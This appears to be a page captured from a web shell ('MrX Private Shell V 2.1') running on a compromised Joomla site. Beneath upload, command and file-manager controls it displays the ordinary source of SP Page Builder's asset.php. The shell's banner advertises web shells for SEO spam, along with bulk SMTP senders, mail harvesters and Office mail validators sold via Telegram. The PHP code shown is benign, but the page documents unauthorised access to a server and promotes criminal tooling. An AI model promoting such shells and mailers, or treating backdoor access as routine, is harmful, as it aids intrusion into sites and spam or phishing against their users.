__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @package SP Page Builder
 * @author JoomShaper http://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2023 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
 */

// No direct access
defined ('_JEXEC') or die ('Restricted access');

use Joomla\CMS\Factory;
use Joomla\CMS\MVC\Model\ListModel;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\Filesystem\Folder;

/**
 * Asset Model class
 * 
 * @since 4.0.0
 */
class SppagebuilderModelAsset extends ListModel
{
	private $columns = [];

    public function __construct($config = [])
	{
		parent::__construct($config);
		$this->columns = ['id', 'type', 'name', 'title', 'assets', 'css_path', 'published', 'access', 'created', 'created_by'];
	}

	/**
	 * Load the custom icons.
	 *
	 * @return	array	The icons array.
	 * @since	4.0.0
	 */
	public function loadCustomIcons() : array
	{
		$db 	= Factory::getDbo();
		$query 	= $db->getQuery(true);

		$query->select($db->quoteName($this->columns))
			->from($db->quoteName('#__sppagebuilder_assets'))
			->where($db->quoteName('published') . ' IN (0, 1)');
		
		$db->setQuery($query);

		try
		{
			$result = $db->loadObjectList();
		}
		catch (\Exception $e)
		{
			return [];
		}

		if (!empty($result))
		{
			foreach ($result as &$icon)
			{
				$path = 'components/com_sppagebuilder/assets/images/customIcons/' . $icon->name . '.jpg';

				if (\file_exists(JPATH_ROOT . '/' . $path))
				{
					$icon->thumb = Uri::root() . '/' . $path;
				}
				else
				{
					$icon->thumb = Uri::root() . '/components/com_sppagebuilder/assets/images/customIcons/default.jpg';
				}
			}

			unset($icon);
		}

		return $result;
	}

	/**
	 * Delete custom icon by ID.
	 *
	 * @param	int		$id		The icon id to remove.
	 *
	 * @return	bool	True on success, false otherwise.
	 * @since	4.0.0
	 */
	public function deleteCustomIcon(int $id) : bool
	{
		$asset = $this->getAssetById($id);
		$assetName = isset($asset->name) ? $asset->name : '';
		$assetPath = JPATH_ROOT . '/media/com_sppagebuilder/assets/iconfont/' . $assetName;

		$db 	= Factory::getDbo();
		$query 	= $db->getQuery(true);
		$query->delete($db->quoteName('#__sppagebuilder_assets'))
			->where($db->quoteName('id') . ' = ' . $id);
		$db->setQuery($query);

		if (Folder::exists($assetPath))
		{
			Folder::delete($assetPath);
		}

		try
		{
			return $db->execute() !== false;
		}
		catch (\Exception $e)
		{
			return false;
		}

		return false;
	}

	/**
	 * Change the status of the custom icon's status.
	 *
	 * @param	int		$id		The icon id.
	 * @param	int		$status	The updating status.
	 *
	 * @return	void
	 * @since	4.0.0
	 */
	public function changeCustomIconStatus(int $id, int $status) : bool
	{
		$db 	= Factory::getDbo();
		$query 	= $db->getQuery(true);

		$query->update($db->quoteName('#__sppagebuilder_assets'))
			->set($db->quoteName('published') . ' = ' . $status)
			->where($db->quoteName('id') . ' = ' . $id);

		$db->setQuery($query);

		try
		{
			return $db->execute() !== false;
		}
		catch (\Exception $e)
		{
			return false;
		}

		return false;
	}

    public function insertAsset($data)
	{
		$dataObject = (object) $data;
		$dataObject->id = null;

		$db = Factory::getDbo();

		try
		{
			if (($icon = $this->getAssetByName($dataObject->name)))
			{
				$dataObject->id = $icon->id;
				$result = $db->updateObject('#__sppagebuilder_assets', $dataObject, 'id', true);
			}
			else
			{
				$result = $db->insertObject('#__sppagebuilder_assets', $dataObject, 'id');
			}

			$result = $this->getAssetByName($dataObject->name);
			$path = 'components/com_sppagebuilder/assets/images/customIcons/' . $result->name . '.jpg';

			if (\file_exists(JPATH_ROOT . '/' . $path))
			{
				$result->thumb = Uri::root() . '/' . $path;
			}
			else
			{
				$result->thumb = Uri::root() . '/components/com_sppagebuilder/assets/images/customIcons/default.jpg';
			}

			return $result;
		}
		catch (Exception $e)
		{
			return false;
		}
	}

	public function getAssetProviders()
	{
		$db = Factory::getDbo();
		$query = $db->getQuery(true);
		$query->select('DISTINCT ' . $db->quoteName('name') . ', title');
		$query->from($db->quoteName('#__sppagebuilder_assets'));
		$query->where($db->quoteName('published') . ' = 1');
		
		$db->setQuery($query);

		$result = $db->loadObjectList();
		return $result;
	}

	public function getIconList($name)
	{
		$db = Factory::getDbo();
		$query = $db->getQuery(true);
		$query->select($db->quoteName('assets'));
		$query->from($db->quoteName('#__sppagebuilder_assets'));
		$query->where($db->quoteName('name').' = '. $db->quote($name));
		$db->setQuery($query);

		$result = $db->loadResult();
		return $result;
	}

	public function getAssetByName(string $name)
	{
		$db 	= Factory::getDbo();
		$query 	= $db->getQuery(true);
		$query->select('*')->from($db->quoteName('#__sppagebuilder_assets'))
			->where($db->quoteName('name') . ' = ' . $db->quote($name));
		$db->setQuery($query);

		return $db->loadObject();
	}

	public function getAssetById(int $id)
	{
		$db 	= Factory::getDbo();
		$query 	= $db->getQuery(true);
		$query->select('*')->from($db->quoteName('#__sppagebuilder_assets'))
			->where($db->quoteName('id') . ' = ' . $db->quote($id));
		$db->setQuery($query);

		return $db->loadObject();
	}
}

Filemanager

Name Type Size Permission Actions
fields Folder 0775
forms Folder 0775
asset.php File 5.13 KB 0664
form.php File 17.75 KB 0664
media.php File 11.39 KB 0664
page.php File 8.66 KB 0664
popup.php File 63.61 KB 0664
Filemanager